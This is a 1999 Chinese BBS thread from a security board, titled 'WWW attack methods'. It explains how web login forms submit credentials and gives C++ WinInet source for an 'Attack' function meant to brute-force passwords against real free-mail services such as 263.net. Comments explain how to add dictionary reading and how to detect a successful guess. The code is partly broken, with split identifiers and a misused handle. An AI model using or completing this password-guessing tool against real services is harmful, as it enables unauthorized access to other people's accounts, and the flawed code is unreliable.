这儿的WWW攻击只限一般站点的攻击 对于采用安全连接的站点还没有试过 一个很好的实践的目标就是各种支持WWW的免费邮件 如果你想用它来进入黄色站点 那也没办法 :) 一般的站点中 如果你想浏览某些需要授权的内容 首先要经过身份验证这一步 就是让你输入用户名、密码 然后浏览器会根据HTML文件中FORM的定义 把这些信息发给服务器来验证 一般的办法是GET或POST 比如在263中 请看下面的263 HTML源代码 用户名: @263.net 口令: 如果点击"请进吧!",浏览器会向服务器发送一下请求 POST /prog/login/?user=aaa@pass=bbb 既然知道了原理 那我们就可以模拟用户点击的过程 Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe 标 题: WWW攻击法(二) 发信站: 我爱南开站 (Wed Nov 3 08:45:57 1999), 转信 微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档 现在 我们就可以发动进攻了 请看源程序 不想灌水 我把该程序中读字典的部分和判断攻击是否成功的部分省掉了 但都作了注释 const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n"; //pServer是目标主机名 //cszPostData就是剩下的部分 //比如攻击263的免费邮箱,那么 //pServer="freemail.263.net" //cszPostData="/prog/login?user=tom&pass=@!#$" //当然,你要先读字典文件,读取pass的值 void Attack(LPSTR pServer,LPSTR cszPostData) { // Open Internet session. HINTERNET hSession = ::InternetOpen("URLHacker", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0) ; // Connect to dest. HINTERNET hConnect = ::InternetConnect(hSession, pServer, INTERNET_INVALID_PORT_NUMBER, "", "", INTERNET_SERVICE_HTTP, 0, 0) ; // Request the file from the server. HINTERNET hHttpFile = ::HttpOpenRequest(hConnect, "GET", cszPostData, HTTP_VERSION, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0) ; // Add request headers BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea ders),HTTP_ADDREQ_FLAG_ADD); // Send the request. BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0); // Get the length of the file. char szBuffer[80] ; DWORD dwLen = sizeof(szBuffer); DWORD dwIndex; BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE, szBuffer, &dwLen, NULL); DWORD dwRet; if (bRet) dwRet = (DWORD) atol(szBuffer); if (dwRet == HTTP_STATUS_DENIED){ //这是另外一种验证的办法,和系统的用户名、口令结合起来 //InternetConnect中第3、4个参数就是用户名和口令 //下面怎么做不用我说了吧 } if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0)) bRet = TRUE; else { // now that we know how long it is, ask for exactly that much // space and really request the header from the API LPTSTR pstr = new TCHAR[dwLen]; bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen, &dwIndex); delete []pstr; } // were we redirected? // these response status codes come from WININET.H if (dwRet == HTTP_STATUS_MOVED || dwRet == HTTP_STATUS_REDIRECT || dwRet == HTTP_STATUS_REDIRECT_METHOD) { //被重定向到其它地址,需要重新连接到新的地址 } // Convert length from ASCII string to a DWORD. // Allocate a buffer for the file. char* buffer = new char[dwLen+1] ; // Read the file into the buffer. DWORD dwBytesRead ; BOOL bRead = ::InternetReadFile(hHttpFile, buffer, dwLen+1, &dwBytesRead); //可以在这儿根据读到的内容判断攻击是否成功 //怎么?不会! //试一下手工猜口令,肯定给你一个出错的画面 //如果读到的内容中不包括那些错误信息,就又可能成功了 delete [] buffer; ::InternetCloseHandle(hHttpFile); ::InternetCloseHandle(hConnect) ; ::InternetCloseHandle(hSession) ; } Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe 标 题: WWW攻击法(三)—注解 发信站: 我爱南开站 (Wed Nov 3 08:58:58 1999), 转信 创建一个会话 HINTERNET hSession = ::InternetOpen( "URLHacker",//Agent名,随便取 INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式 NULL, INTERNET_INVALID_PORT_NUMBER, 0) ; 连接到服务器 HINTERNET hConnect = ::InternetConnect( hSession, pServer,//服务器名 INTERNET_INVALID_PORT_NUMBER, "",//用户名 "",//口令 INTERNET_SERVICE_HTTP,//HTTP 0, 0); 向服务器发出请求 HINTERNET hHttpFile = ::HttpOpenRequest(hConnect, "GET",//可用GET或POST cszPostData,//对应于HTTP命令 GET cdzPostData HTTP_VERSION, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0); 加一个请求头,自我炫耀一下,hehe BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead ers),HTTP_ADDREQ_FLAG_ADD); 接下来,查询该请求返回的信息,然后读之 |